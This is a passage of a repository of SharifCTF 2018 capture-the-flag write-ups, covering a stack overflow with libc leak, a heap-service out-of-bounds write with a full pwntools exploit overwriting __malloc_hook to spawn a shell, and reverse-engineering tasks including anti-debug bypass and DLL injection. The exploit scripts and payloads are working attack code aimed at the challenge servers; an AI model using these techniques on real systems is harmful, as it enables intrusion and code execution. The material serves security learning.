616a6161 92 | f 4 616b6161 93 | f 5 616c6161 94 | f 6 616d6161 95 | f 7 616e6161 96 | f 8 616f6161 97 | f 9 61706161 98 | f 10 61716161 99 | Program received signal SIGSEGV (fault address 0x61676161) 100 | pwndbg> 101 | ``` 102 | 103 | Program crashed as we wanted - it wanted to jump to address `0x61676161` which is incorrect one, let's see at which offset there is return address: 104 | 105 | ``` 106 | >>> from pwn import * 107 | >>> cyclic(200).find(p32(0x61676161)) 108 | 22 109 | ``` 110 | 111 | That means we must put 22 bytes of junk, then new return address and the rest arguments. Now we must overcome ASLR. The tip is in program message: _"You should find puts yourself"_. We can exploit [GOT and PLT](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html). The executable is `dynamically linked`: 112 | 113 | ``` 114 | $ file vuln4 115 | vuln4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2da0205021e2719e0e6feb17a4e571dca715 116 | 558c, not stripped 117 | ``` 118 | 119 | That means when we call some standard c library function, function from system `libc` is executed, but of course at the time of compilation, we don't know at which address functions will be at the time of execution, executable has to somehow find the address of desired function. Here comes GOT & PLT mechanism. All calls to `puts` are calls to function: 120 | 121 | ``` 122 | > disass puts@plt 123 | 0x080483A0: jmp DWORD PTR ds:0x8049874 124 | 0x080483A6: push 0x18 125 | 0x080483AB: jmp 0x8048360 126 | ``` 127 | 128 | For the first time under address `0x8049874` there is address to next instruction (`push`), then it jumps to another function to fill memory under address `0x8049874` with actual address of desired function - `puts`. You can read more about [PLT and GOT here](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html). 129 | 130 | To leak radomized by ASLR `libc` address, we are going to jump to `puts@plt` with argument `puts@got` so that it prints **actual** address of `puts` in `libc` (and then we return again to main). 131 | 132 | ``` 133 | from pwn import * 134 | 135 | p = remote("ctf.sharif.edu", "4801") 136 | 137 | pelf = ELF("vuln4") 138 | puts_plt = pelf.symbols['plt.puts'] 139 | puts_got = pelf.symbols['got.puts'] 140 | 141 | payload = 22 * 'a' 142 | payload += p32(puts_plt) 143 | payload += p32(pelf.symbols['main']) 144 | payload += p32(puts_got) 145 | 146 | p.readline() 147 | p.readline() 148 | 149 | p.sendline(payload) 150 | puts = u32(p.read(4)) 151 | print "libc puts: " + hex(puts) 152 | p.clean() 153 | ``` 154 | 155 | Luckily authors gave us whole `libc` running on server, so there is no need to guess version of it and we can directly find out at which offset there is `puts` in this `libc`, in order to compute at which offset there is desired function (e.g. `execve`): 156 | 157 | ``` 158 | elf = ELF("libc.so.6") 159 | base = puts - elf.symbols['puts'] 160 | print "libc base: " + hex(base) 161 | ``` 162 | 163 | `fgets` is really nice function and it accepts almost everything, but `strcpy` which is later used on read string stops once it meets byte `0x0` and we need this value to call `execve("/bin/sh", NULL, NULL)`. We might constuct simple rop chain, or... find place in `libc` which calls directly `execve("/bin/sh", NULL, NULL)`! There is handy tool [one gadget](https://github.com/david942j/one_gadget), which can find calls to execve /bin/sh in libc. 164 | 165 | ``` 166 | $ one_gadget ./libc.so.6 167 | 0x3ac5c execve("/bin/sh", esp+0x28, environ) 168 | constraints: 169 | esi is the GOT address of libc 170 | [esp+0x28] == NULL 171 | 172 | 0x3ac5e execve("/bin/sh", esp+0x2c, environ) 173 | constraints: 174 | esi is the GOT address of libc 175 | [esp+0x2c] == NULL 176 | 177 | 0x3ac62 execve("/bin/sh", esp+0x30, environ) 178 | constraints: 179 | esi is the GOT address of libc 180 | [esp+0x30] == NULL 181 | 182 | 0x3ac69 execve("/bin/sh", esp+0x34, environ) 183 | constraints: 184 | esi is the GOT address of libc 185 | [esp+0x34] == NULL 186 | 187 | 0x5fbc5 execl("/bin/sh", eax) 188 | constraints: 189 | esi is the GOT address of libc 190 | eax == NULL 191 | 192 | 0x5fbc6 execl("/bin/sh", [esp]) 193 | constraints: 194 | esi is the GOT address of libc 195 | [esp] == NULL 196 | ``` 197 | 198 | There are plenty of `execve /bin/sh`, all of them requires some special conditions but luckily conditions for call at offset `0x5fbc5` are met in our case, so we can jump to `base + 0x5fbc5` to start `/bin/sh`. 199 | 200 | ``` 201 | payload = 22 * 'a' + p32(base + 0x5fbc5) 202 | p.sendline(payload) 203 | p.interactive() 204 | $ cat /home/ctfuser/flag 205 | SharifCTF{7af9dab81dff481772609b97492d6899} 206 | ``` 207 | 208 | ###### Mucosolvan & Bartek aka bandysc -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/pwn/t00p_secrets/README.md: -------------------------------------------------------------------------------- 1 | t00p_secrets 2 | === 3 | 4 | **Category:** Pwn, **Points:** 250, **Solves:** 17, **Rank:** 6 5 | 6 | ``` 7 | Someone has designed this top secret management service for us. He was insisting on the term 't00p'. Could you please take a look and find out why? 8 | nc ctf.sharif.edu 22107 9 | Alternative: nc 213.233.161.38 22107 10 | ``` 11 | 12 | ## Writeup 13 | 14 | We are provided with an 64 bit ELF [executable](t00p_secrets). After running `checksec --file t00p_secrets` we get: 15 | 16 | ![alttext](checksec.png "Checksec") 17 | 18 | After reverse engineering the binary we obtain the following pseudocode: 19 | 20 | ```c 21 | initialize(); 22 | while(1) 23 | { 24 | do 25 | authenticate(); 26 | while(!authenticated); 27 | 28 | display_menu(); 29 | 30 | switch(get_option()) 31 | { 32 | case 1: 33 | create_a_secret(); 34 | break; 35 | case 2: 36 | delete_a_secret(); 37 | break; 38 | case 3: 39 | edit_a_secret(); 40 | break; 41 | case 4: 42 | print_all_secrets(); 43 | break; 44 | case 5: 45 | print_one_secret(); 46 | break; 47 | case 6: 48 | exit(0); 49 | break; 50 | case 7: 51 | change_authentication_key(); 52 | authenticated = 0; 53 | break; 54 | } 55 | } 56 | ``` 57 | 58 | The binary first asks us to authenticate by providing an password - the correct answer is stored in an buffer in the .bss section - the binary initializes this buffer to the hardcoded string `wjigaep;r[jg]ahrg[es9hrg`. After authenticating we are provided with an secret storage interface. A secret is an storage buffer on the heap and can contain either binary data or an string. A pointer to the secret together with the size and the type(string or binary) of the secret are stored in an array in the .bss segment. We can create, delete, view and change a secret - this looks like an heap exploitation challenge. Indeed - the routine responsible for storing an user supplied string in an secret contains an off by one error which allows the null terminator of the string to be written exactly one byte after the end of the malloced region. This off by one error can be leveraged by the [House Of Einherjar](https://github.com/shellphish/how2heap/blob/master/house_of_einherjar.c) technique. 59 | 60 | Although this is a viable solution the binary contains another vulnerability which allows for much easier exploitation. The secrets are indexed by their corresponding id - this allows the binary to store pointers to them in an global array in the .bss section. The create_secret, delete_secret and print_one_secret functions correctly check the bounds on the supplied secret id. The edit_a_secret function on the other hand does not check whether we supplied an valid id or an valid secret type. The pseudocode for the edit_a_secret function is: 61 | 62 | ```c 63 | void edit_a_secret() 64 | { 65 | unsigned int id; 66 | scanf("%u%*c", &id); 67 | if(secret_sizes[id] == -1) 68 | puts("No such secret!"); 69 | else 70 | { 71 | unsigned short type; 72 | scanf("%hu%*c", &type); 73 | if(secret_sizes[id] > 0) 74 | { 75 | load_secret_contents(secret_ptrs[id], secret_sizes[id], type); 76 | } 77 | secret_types[id] = type; //2 byte write 78 | } 79 | } 80 | ``` 81 | 82 | The secret_ptrs, secret_sized and secret_types arrays each contain 7 entries. By providing an id bigger than 7 we can make an out of bounds read from these arrays. The .bss section is initialized to 0 which means that by providing a big enough id `secret_sizes[id]` will be 0 - this allows us to bypass the load_secret_contents function which would otherwise crash the program. This allows us to write 2 bytes at an big enough offset. It turns out that we are able to write at offsets bigger than ~20. Offsets from 28 to 32 correspond to `secret_sizes[5]` and offsets from 72 to 76 correspond to `secret_ptrs[5]`. This allows us to read and write to an arbitrary memory location by setting up these table entries and then executing the print_one_secret or edit_a_secret function. 83 | 84 | PIE is disabled so we read the Global Offset Table. By using [libc-database](https://github.com/niklasb/libc-database) we locate the [libc](libc6_2.23-0ubuntu10_amd64.so) running on the remote system. Full RELRO is enabled so we cannot overwrite GOT entries to hijack flow control. As we know the base address of the libc we overwrite `__malloc_hook` with the address of a one shot gadget. I used the great tool [one-gadget](https://github.com/david942j/one_gadget) for finding such gadgets. After `__malloc_hook` was overwritten with an appropriate gadget we trigger the shell by creating a new secret. The exploit is [here](exploit.py) 85 | 86 | ![alttext](demo.png "Demo") 87 | 88 | The flag is `SharifCTF{R34V1L1NG_S3CR3T5_VI4_51NGL3_NULL_BY73}` which tells me that the challenge was intended to be solved by using [House Of Einherjar](https://github.com/shellphish/how2heap/blob/master/house_of_einherjar.c) - heh my solution works fine and no heap exploitation techniques required :) 89 | 90 | ###### By [gorbak25](https://github.com/grzegorz225) 91 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/pwn/t00p_secrets/checksec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/pwn/t00p_secrets/checksec.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/pwn/t00p_secrets/demo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/pwn/t00p_secrets/demo.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/pwn/t00p_secrets/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | """ 4 | Exploit for t00p_secrets from SharifCTF 8 5 | https://github.com/grzegorz225 6 | """ 7 | 8 | from pwn import * 9 | 10 | target = remote("ctf.sharif.edu", 22107) 11 | binary = ELF("./t00p_secrets") 12 | libc = ELF("libc6_2.23-0ubuntu10_amd64.so") 13 | 14 | target.readuntil("master key:") 15 | target.sendline("wjigaep;r[jg]ahrg[es9hrg") 16 | 17 | def write_2b_at_ofset(val, offset): 18 | target.sendline("3") 19 | target.sendline(str(offset)) 20 | target.sendline(str(val)) 21 | target.readuntil("6. Exit") 22 | 23 | def write_8b_at_ofset(val, offset): 24 | for i in range(4): 25 | num = int("0x"+p64(val)[2*i:2*(i+1)][::-1].encode('hex'),16) 26 | write_2b_at_ofset(num, offset+i) 27 | 28 | def arbitrary_read(addr, size): 29 | write_8b_at_ofset(size, 28) 30 | write_8b_at_ofset(addr, 28 + 8 * 6 - 4) 31 | target.sendline("5") 32 | target.readuntil("id to print:") 33 | target.sendline("5") 34 | target.readuntil("content: ") 35 | return target.recv(size) 36 | 37 | def arbitrary_write(addr, size, data): 38 | write_8b_at_ofset(size, 28) 39 | write_8b_at_ofset(addr, 28 + 8 * 6 - 4) 40 | target.readuntil("6. Exit") 41 | 42 | target.sendline("3") 43 | target.readuntil("secret id to edit:") 44 | target.sendline("5") 45 | target.readuntil("binary(0) or String(1):") 46 | target.sendline("0") 47 | target.readuntil("Please enter secret content: ") 48 | target.sendline(data) 49 | 50 | __libc_start_main = u64(arbitrary_read(binary.got['__libc_start_main'], 8)) 51 | puts = u64(arbitrary_read(binary.got['puts'], 8)) 52 | write = u64(arbitrary_read(binary.got['write'], 8)) 53 | 54 | print "Located __libc_start_main at: "+hex(__libc_start_main) 55 | print "Located puts at: "+hex(puts) 56 | print "Located write at: "+hex(write) 57 | 58 | libc_base = write-libc.symbols['write'] 59 | print "Located libc at: "+hex(libc_base) 60 | 61 | """ onegadget output: 62 | 0x45216 execve("/bin/sh", rsp+0x30, environ) 63 | constraints: 64 | rax == NULL 65 | 66 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 67 | constraints: 68 | [rsp+0x30] == NULL 69 | 70 | 0xf02a4 execve("/bin/sh", rsp+0x50, environ) 71 | constraints: 72 | [rsp+0x50] == NULL 73 | 74 | 0xf1147 execve("/bin/sh", rsp+0x70, environ) 75 | constraints: 76 | [rsp+0x70] == NULL 77 | """ 78 | 79 | #overwrite __malloc_hook with oneshot gadget 80 | arbitrary_write(libc_base+libc.symbols['__malloc_hook'], 9, p64(libc_base+0x4526a)) 81 | 82 | target.sendline("1") 83 | target.sendline("1") 84 | target.sendline("100") 85 | target.sendline("0") 86 | target.sendline("A"*100) 87 | target.readuntil("body size:") 88 | 89 | target.clean() 90 | 91 | print "Enjoy your shell!" 92 | target.sendline("id") 93 | target.sendline("cat /home/suctf/flag") 94 | 95 | target.interactive() 96 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/pwn/t00p_secrets/libc6_2.23-0ubuntu10_amd64.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/pwn/t00p_secrets/libc6_2.23-0ubuntu10_amd64.so -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/pwn/t00p_secrets/t00p_secrets: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/pwn/t00p_secrets/t00p_secrets -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/barnamak-200/Find_Flag.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/reverse-engineering/barnamak-200/Find_Flag.apk -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/barnamak-200/README.md: -------------------------------------------------------------------------------- 1 | Barnamak 2 | ======== 3 | 4 | **Category:** Reverse Engineering, **Points:** 200, **Solves:** 67 **Our rank:** 13 5 | 6 | ``` 7 | Run the application and capture the flag! 8 | ``` 9 | 10 | ### Write-up 11 | 12 | In this challenge we are provided with an [android apk](Find_Flag.apk). I used [apkext](https://github.com/blukat29/apkext) to extract and decompile the application. While reading through the decompiled code I found this interesting bit of code: 13 | 14 | ```java 15 | private static String iia(final int[] array, final String s) { 16 | String string = ""; 17 | for (int i = 0; i < array.length; ++i) { 18 | string += (char)(array[i] - 48 ^ s.charAt(i % (s.length() - 1))); 19 | } 20 | return string; 21 | } 22 | 23 | ... 24 | 25 | public void onClick(final DialogInterface dialogInterface, int n) { 26 | if (c.a() || c.b() || c.c()) { //check if phone is not rooted and we are on the correct position 27 | n = (int)Math.round(ChallengeFragment.this.location.getLatitude()); 28 | final String access$100 = iia(new int[] { 162, 136, 133, 131, 68, 141, 119, 68, 169, 160, 49, 68, 171, 130, 68, 168, 139, 138, 131, 112, 141, 113, 128, 129 }, String.valueOf(n)); 29 | Toast.makeText(ChallengeFragment.this.getActivity().getBaseContext(), (CharSequence)access$100, 0).show(); 30 | ChallengeFragment.this.textViewLatitude1 = (TextView)ChallengeFragment.this.view.findViewById(2131558541); 31 | ChallengeFragment.this.textViewLatitude1.setText((CharSequence)access$100); 32 | System.exit(0); 33 | } 34 | } 35 | ... 36 | ``` 37 | 38 | Hmmm a xor cipher based on geolocation - what is the hardcoded location? 39 | 40 | ```java 41 | public boolean b() { 42 | boolean b = false; 43 | final int int1 = Integer.parseInt("2C", 16); 44 | final int int2 = Integer.parseInt("5B", 16); 45 | final int intValue = Integer.valueOf(int1); 46 | final int n = -Integer.valueOf(int2); 47 | if (this.location != null) { 48 | if ((int)this.location.getLatitude() != intValue + 1 || (int)this.location.getLongitude() != n - 2) { 49 | Toast.makeText(this.context, (CharSequence)this.getString(2131165228), 0).show(); 50 | return false; 51 | } 52 | ((Vibrator)this.context.getSystemService("vibrator")).hasVibrator(); 53 | Toast.makeText(this.context, (CharSequence)this.getString(2131165227), 0).show(); 54 | b = true; 55 | } 56 | return b; 57 | } 58 | ``` 59 | 60 | So the app expects us to be at 45N 93W. Using these coordinates to decrypt the hardcoded string in the `onClick` handler we obtain `Flag is MD5 Of Longtiude` 61 | ``` 62 | $ echo -n "-93" | md5sum 63 | 87a20a335768a82441478f655afd95fe 64 | ``` 65 | So the flag is `SharifCTF{87a20a335768a82441478f655afd95fe}` 66 | 67 | ###### By [gorbak25](https://github.com/grzegorz225) 68 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/crackme-150/README.md: -------------------------------------------------------------------------------- 1 | Crack me 2 | === 3 | **Category:** Reverse Engineering, **Points:** 150 + 8, **Solves:** 37, **Our rank:** 3 4 | 5 | > Find the password. 6 | 7 | ### Write-up 8 | 9 | We are given Windows console application, which asks for password: 10 | 11 | > crackme.exe 12 | Enter Password: 13 | aaaa 14 | Try again 15 | 16 | Let's find out what's inside assembly. There is a lot of useless code, which probably is here to "obfuscate code", like 17 | 18 | movss xmm0, ds:dword_BE747C 19 | movss [ebp+var_B4], xmm0 20 | movss xmm0, ds:dword_BE7530 21 | movss [ebp+var_B4], xmm0 22 | movss xmm0, [ebp+var_B4] 23 | ucomiss xmm0, ds:dword_BE73F0 24 | lahf 25 | test ah, 44h 26 | 27 | And later this value is not used at all, after few minutes you learn to ignore them :-) What is interesting, there are few strings with debugger names: `OLLYDBG`, `idaq.exe`. Later `sub_BE1ED0` is called with those strings, which iterates over all processes and compare its names to detect if process with given name is running. 28 | 29 | There is call to winapi `IsDebuggerPresent`, also `GetShellWindow`, `GetWindowThreadProcessId` and `NtQueryInformationProcess` are called to check who started current process. It looks like it also check how many cpu cycles have passed using `rdtsc` instruction - if user is using debugger it might have too high value. 30 | 31 | If some anomalies are detected, some `char` array is modified, so it looks like it will be enough _not to_ modify the array using debugger. 32 | 33 | Now let's find out when and _why_ "Try again" string is shown. The easiest way is to find references to `std::cout`. It is used in 3 places: 34 | 35 | Up r sub_402140+21F mov eax, std::cout 36 | Up r sub_402140+456 mov edx, std::cout 37 | Up r _main+98 mov eax, std::cout 38 | 39 | The last one is "Enter password:" string, let's check first two. They are in the same function and depending on function argument value, first one or second one is called. When we put wrong password, `sub_892140` with non zero parameter is called. Let's change branch so that second text is printed (just change ZF flag value after comparison). 40 | 41 | Enter Password: 42 | 7567 43 | Correct:Flag is Md5 Of Password 44 | 45 | Ok, so flag is not contained in executable, it simply verifies if password is correct and it will be flag. So let's find out how is the argument value computed. This function is called with result of function `sub_891E70`, which is simple `strcmp` 46 | 47 | int sub_891E70(char *a1, char *a2) 48 | { 49 | signed int result; 50 | 51 | while ( *a1 == *a2 && *a1 && *a2 ) 52 | { 53 | ++a1; 54 | ++a2; 55 | } 56 | if ( *a1 || *a2 ) 57 | result = -1; 58 | else 59 | result = 0; 60 | return result; 61 | } 62 | 63 | The second argument is constant string `whynxt` and the first one... well it is not that obvious. But when static analysis becomes not trivial, let's try dynamic analysis. After two tryouts, no doubt first parameter depends on user input, for `aaaaaaaaaa` it compares `whynxt` and `USRUSRUSRU`, for `bbbbbb` -> `whynxt` and `VPQVPQ`. So it looks like simple `xor` with cyclic sequence `423`. `whynxt ^ 423423 = CZJZJG` and it is actually correct password and as message in console says, the flag is `SharifCTF{md5("CZJZJG")} = SharifCTF{1854d4db8682639752588b732a50f3bb}`. 64 | 65 | 66 | (Now, when we know what to look for, it was trivial to find where the xoring happens: few instructions eariler there is call to straightforward (after renaming symbols and removeing useless stuff) function:) 67 | 68 | string* xor_input(string *output, string input) 69 | { 70 | char key[3]; 71 | int index; 72 | string input_copy; 73 | 74 | key[0] = '4'; 75 | key[1] = '2'; 76 | key[2] = '3'; 77 | string_assign(&input_copy, &input); 78 | for ( index = 0; index < string_len(&input); ++index ) 79 | { 80 | *string_operator[](&input_copy, index) = key[index % 3] ^ *string_operator[](&input, index); 81 | } 82 | string_move(output, &input_copy); 83 | return output; 84 | } 85 | 86 | 87 | To sum up, this task contanined few anti debugger tricks, but they were trivial to bypass at the result of detection was saved to variable and later it was added to xored characters. When we bypassed it, it wasn't hard to find correct password. 88 | 89 | 90 | ###### Bartek aka bandysc 91 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/findme-250/README.md: -------------------------------------------------------------------------------- 1 | Find Me 2 | === 3 | 4 | **Category:** Reverse Engineering, **Points:** 250 + 25, **Solves:** 3 5 | 6 | > Run and capture the flag! 7 | 8 | ### Write-up 9 | 10 | 11 | We are given windows executable, which only shows message: 12 | 13 | --------------------------- 14 | Fail 15 | --------------------------- 16 | try again 17 | --------------------------- 18 | OK 19 | --------------------------- 20 | 21 | and shut down. Let's see what's inside. Quick peak at disassembled code shows it was written in c++ with a lot of winapi calls so the generated assembly is a bit of mess. As usually in such tasks, I've start from the (theoretical) end - the message box. There is imported `MessageBoxW` function, let's check references to this function. It turns out there are two calls: 22 | 23 | Up p sub_403E40+76A call ds:MessageBoxW 24 | Up p aa+482 call ds:MessageBoxW 25 | 26 | Interestingly, the executable is stripped, but the name of second function is known, so I've looked at exports and it turned out it is exported function in the binary. And there are no direct calls to `aa`. "Maybe there is some magic to jump there" I thought and returned to analysing first MessageBox. 27 | 28 | if ( v17 ) 29 | { 30 | MessageBoxW(0, L"try again ", L"Fail", 0); 31 | } 32 | 33 | ok, let's check where is `v17` set and it turnes out... it is set to const value `1` at the beginning of the function. And function at offset `0x3E40`, which shows the message box is called always so it looks like we should really focus on `aa` function. 34 | 35 | So at this point I've jumped to analyse `aa`. Function was doing a lot of operations on `strings` and `wstrings`. I really wanted to call that function, however simple jump in debugger wasn't enough due to passed variables, so I started thinking how to call it from external application - after all it was exported function. If it was `dll` library, it would be simple - I would just use `LoadLibrary` and `GetProcAddress` from Windows API to load dll into memory space and then get address to function and call it. But it was `exe` so this trick doesn't work. While calling exported function from exe is not as easy, it turned out not to be _that_ hard. The trick was to create `dll`, _inject_ it into `exe` and then call the function (pretty oposite to creating exe and loading given `dll` into it). [There are multiple ways to inject dll into binary](https://security.stackexchange.com/questions/58009/ways-to-inject-malicious-dlls-to-exe-file-and-run-it), but I've decided simply to use existing injector so that I had just to write my `dll`. IDA claimed this function takes two arguments, so at the beginning I just passed quite big 0 arrays. 36 | 37 | // dllmain.cpp : Defines the entry point for the DLL application. 38 | #include "stdafx.h" 39 | #include 40 | 41 | typedef int(__cdecl *aa_t)(void*, void*); 42 | 43 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 44 | { 45 | HINSTANCE hGetProcIDDLL = GetModuleHandle(NULL); 46 | 47 | if (hGetProcIDDLL != NULL) 48 | { 49 | char zeros1[300], zeros2[300]; 50 | 51 | memset(zeros1, 0, sizeof(zeros1)); 52 | memset(zeros2, 0, sizeof(zeros2)); 53 | 54 | aa_t aa = (aa_t)GetProcAddress(hGetProcIDDLL, "aa"); 55 | aa(zeros1, zeros2); 56 | 57 | MessageBoxA(0, "test", "test", 0); 58 | } 59 | 60 | return TRUE; 61 | } 62 | 63 | ![](assets/injector.png) 64 | 65 | Injecting and... it looks like it worked! No crash, message box shown. Setting breakpoint inside `aa` in the debugger confirmed it - my dll was loaded to process address space and it called exported function. 66 | 67 | In `aa` pseudo code one function was definietly standing out - `MessageBoxW`, however this time text and caption weren't directly readable - it looked like it is decoded somewhere 68 | 69 | if ( !_wcsicmp(Str1, v8) ) 70 | dword_105AB18 = 1; 71 | if ( *(_BYTE *)sub_1035690(0) == 70 && *(_BYTE *)sub_1035690(3) == 103 ) 72 | dword_105AB14 = 1; 73 | while ( 1 ) 74 | { 75 | if ( *(_BYTE *)sub_1035690(1) == 108 && *(_BYTE *)sub_1035690(2) == 97 ) 76 | dword_105AB1C = 1; 77 | if ( dword_105AB18 != 1 ) 78 | break; 79 | if ( dword_105AB14 == 1 ) 80 | { 81 | if ( dword_105AB1C == 1 ) 82 | { 83 | v11 = 0; 84 | v10 = (const WCHAR *)sub_1035990(&unk_105AB24); 85 | v6 = (const WCHAR *)sub_1035990(&v40); 86 | MessageBoxW(0, v6, v10, v11); 87 | break; 88 | } 89 | } 90 | } 91 | 92 | Ok, so messagebox is shown when `dword_105AB1C == 1`, `dword_105AB14 == 1` and `dword_105AB18 == 1`. Before we try to anlyse when those conditions are met, let's try to change resulting branch in debugger so that _some_ message box actually pops out. We can either edit memory in debugger and put `1` under those addresses or toggle `ZF` flag after `cmp` instruction. 93 | 94 | 95 | --------------------------- 96 | 97 | --------------------------- 98 | Flag is First Argument Of function 99 | --------------------------- 100 | OK 101 | --------------------------- 102 | 103 | I think it is self explaining, but this also means more work is needed under investingating what's going in the code. Especially that it is not obvious what is first argument and how it should be generated. After few minutes of fruitless work, I've decided to return to `WinMain`, because I thought it might be really called somewhere there and calling it from my dll is senseless. Luckily quickly I had found string `Hex key must have an even number of characters`, since it was really characteristic I have googled it and first result was... [gist with simple rc4 implementation!](https://gist.github.com/Mjiig/2727751). I have compared assembly and this code and it was _exactly_ the same code, but `argc` and `argv` in function `parseargs` are always `NULL`, so this program doesnt load anything. And even if it loaded something, it wasn't later used for anything. It confirmed that this code doesn't do anything usefull. It was only to slow us down :-). But it also let me rename some symbols operating on `std::string`, which made reading `aa` easier! 104 | 105 | So after renaming some symbols using this gist, I've returned to analysing `aa` and the code was much more readable 106 | 107 | if ( *(_BYTE *)sub_1035690(0) == 70 && *(_BYTE *)sub_1035690(3) == 103 ) 108 | 109 | became 110 | 111 | if ( *string__char_at(&some_string, 0) == 'F' && *string__char_at(&some_string, 3) == 'g' ) 112 | 113 | and 114 | 115 | if ( *(_BYTE *)sub_1035690(1) == 108 && *(_BYTE *)sub_1035690(2) == 97 ) 116 | 117 | became 118 | 119 | if ( *string__char_at(&some_string, 1) == 'l' && *string__char_at(&some_string, 2) == 'a' ) 120 | 121 | So somehow we must put `Flag` string into `some_string` variable. Few lines above there is: 122 | 123 | string__assign_cstring(&v9, second_function_argument); 124 | sub_1032A50(&some_string, v9); 125 | 126 | That's mean `second_function_argument` must be `char*` (because `string__assign_cstring` is used on it), it is then assigned to string at `ebp-0x15C` and some function is then called with this argument and `some_string`, which is then compared to "Flag". After some work on renaming symbols and types, it turns out to be really straightforward: 127 | 128 | 129 | string *__cdecl sub_1032A50(string *a1, string a2) 130 | { 131 | char key[3]; // [esp+Ch] [ebp-30h] 132 | int index; // [esp+10h] [ebp-2Ch] 133 | string xored; // [esp+14h] [ebp-28h] 134 | 135 | key[0] = '6'; 136 | key[1] = '2'; 137 | key[2] = '3'; 138 | string__copy_string(&xored, &a2); 139 | for ( index = 0; index < string__length(&a2); ++index ) 140 | { 141 | *string__char_at(&xored, index) = key[index % 3u] ^ *string__char_at(&a2, index); 142 | } 143 | string__move(a1, &xored); 144 | return a1; 145 | } 146 | 147 | This function simply xors second argument with values `'6'`, `'2'` and `'3'`, then returns new xored string. Let's check if it is true and instead of array of zeros, pass as second argument string `{'F' ^ '6', 'l' ^ '2', 'a' ^ '3', 'g' ^ '6'}`. It really works! Tho as it will finally turn out this second argument doesn't really matter - it is all about the first argument and check: 148 | 149 | Str1 = aPRq; 150 | wstring__new(&some_wstring); 151 | wstring__assign_wcstring(&some_wstring, first_argument); 152 | 153 | (...) 154 | 155 | v8 = wstring__wcstr(&v40); 156 | if ( !_wcsicmp(Str1, v8) ) 157 | dword_105AB18 = 1; 158 | 159 | `Str1` is const wide string (`wchar_t*`) `50 00 5E 00 52 00 51 00 08 00 13 00 4F 00 02 00 46 00 16 00 56 00 03 00 58 00 57 00 00 00`, which contains only few random readable chars. And `v40`... because it was originally c++ code with std::strings and std::wstrings, decompiler wasn't really helpful to say where the value comes from. But if constant `wchar_t*` is simply compared to some other wide string and the first argument is `wchart_*`... it was worth trying to simply send that string to `aa` function. No message box, so I have put breakpoint in `_wcsicmp` and... 160 | 161 | ![](assets/youdone.png) 162 | 163 | Wow! Sending those bytes resulted in comparing those bytes against readable string: 'flag: y0u d0ne'. So maybe flag is `SharifCTF{md5({0x50, 0x00, 0x5E, 0x00, 0x52, 0x00, 0x51, 0x00, 0x08, 0x00, 0x13, 0x00, 0x4F, 0x00, 0x02, 0x00, 0x46, 0x00, 0x16, 0x00, 0x56, 0x00, 0x03, 0x00, 0x58, 0x00, 0x57, 0x00, 0x00, 0x00})}`? No, it doesn't work... Let's check what if I send `flag: y0u d0ne`. 164 | 165 | // dllmain.cpp : Defines the entry point for the DLL application. 166 | #include "stdafx.h" 167 | 168 | typedef int(__cdecl *aa_t)(wchar_t*, char*); 169 | 170 | BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) 171 | { 172 | HINSTANCE hGetProcIDDLL = GetModuleHandle(NULL); 173 | 174 | if (hGetProcIDDLL != NULL) 175 | { 176 | wchar_t arg1[] = L"flag: y0u d0ne"; 177 | char arg2[5] = { 'F' ^ '6', 'l' ^ '2', 'a' ^ '3', 'g' ^ '6'}; 178 | 179 | aa_t FnPtr = (aa_t)GetProcAddress(hGetProcIDDLL, "aa"); 180 | FnPtr(arg1, arg2); 181 | } 182 | return TRUE; 183 | } 184 | 185 | Bingo! Now message box shows up without modifying any memory. It also means that first argument was xored with... that's right, also with array `{'6', '2', '3'}`. Final check if flag is `SharifCTF{md5("flag: y0u d0ne")} = SharifCTF{195f38514b7c9cc49abb3f70d9fd7a57}` aaand it is correct flag! We are done. No doubt creating our own `dll` and injecting it into exe to call `aa` wasn't necessary at all, but it was fastest way for me to call `aa` with any parameters. After renaming symbols this task was easy, but before decompiled code wasn't really readable, so even though I've wasted some time understanding RC4 implementation, later it helped me with decompiling `aa` function. 186 | 187 | 188 | 189 | ###### Bartek aka bandysc 190 | -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/findme-250/assets/injector.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/made-in-mim/writeups/ac7c83be9a751a55b0632700fea75937724ecc1a/2018-02-02-sharif-ctf/reverse-engineering/findme-250/assets/injector.png -------------------------------------------------------------------------------- /2018-02-02-sharif-ctf/reverse-engineering/findme-250/assets/youdone.png: -------------------------------------------------------------------------------- 